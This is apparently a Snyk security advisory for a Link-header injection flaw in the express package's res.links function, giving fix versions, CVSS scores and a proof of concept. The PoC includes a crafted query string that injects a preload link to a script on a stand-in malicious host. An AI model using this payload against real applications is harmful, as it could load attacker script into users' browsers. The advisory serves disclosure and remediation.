Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') Affecting express package, versions <4.0.0-rc1


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.04% (10th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-EXPRESS-8310337
  • published 30 Oct 2024
  • disclosed 29 Oct 2024
  • credit Abze

How to fix?

Upgrade express to version 4.0.0-rc1 or higher.

Overview

express is a minimalist web framework.

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') through the response.links function. An attacker can inject arbitrary resources into the Link header by using unsanitized input that includes special characters such as commas, semicolons, and angle brackets.

PoC

var express = require('express')
var app = express()

app.get('/', function (req, res) {
  res.links({"preload": req.query.resource});
  if(req.query.resource){
    console.log(res.getHeaders().link)
  }
  res.send('ok');
});
  
app.listen(3000);

// note how the query param uses < > to load arbitrary resource
const maliciousQueryParam = '?resource=http://api.example.com/users?resource=>; rel="preload", <http://api.malicious.com/1.js>; rel="preload"; as="script", <http:/api.example.com';

const url = `http://localhost:3000/${maliciousQueryParam}`;
  
fetch(url);

References

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
6.3 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    Present
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    Low
  • Integrity (VI)
    None
  • Availability (VA)
    None
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None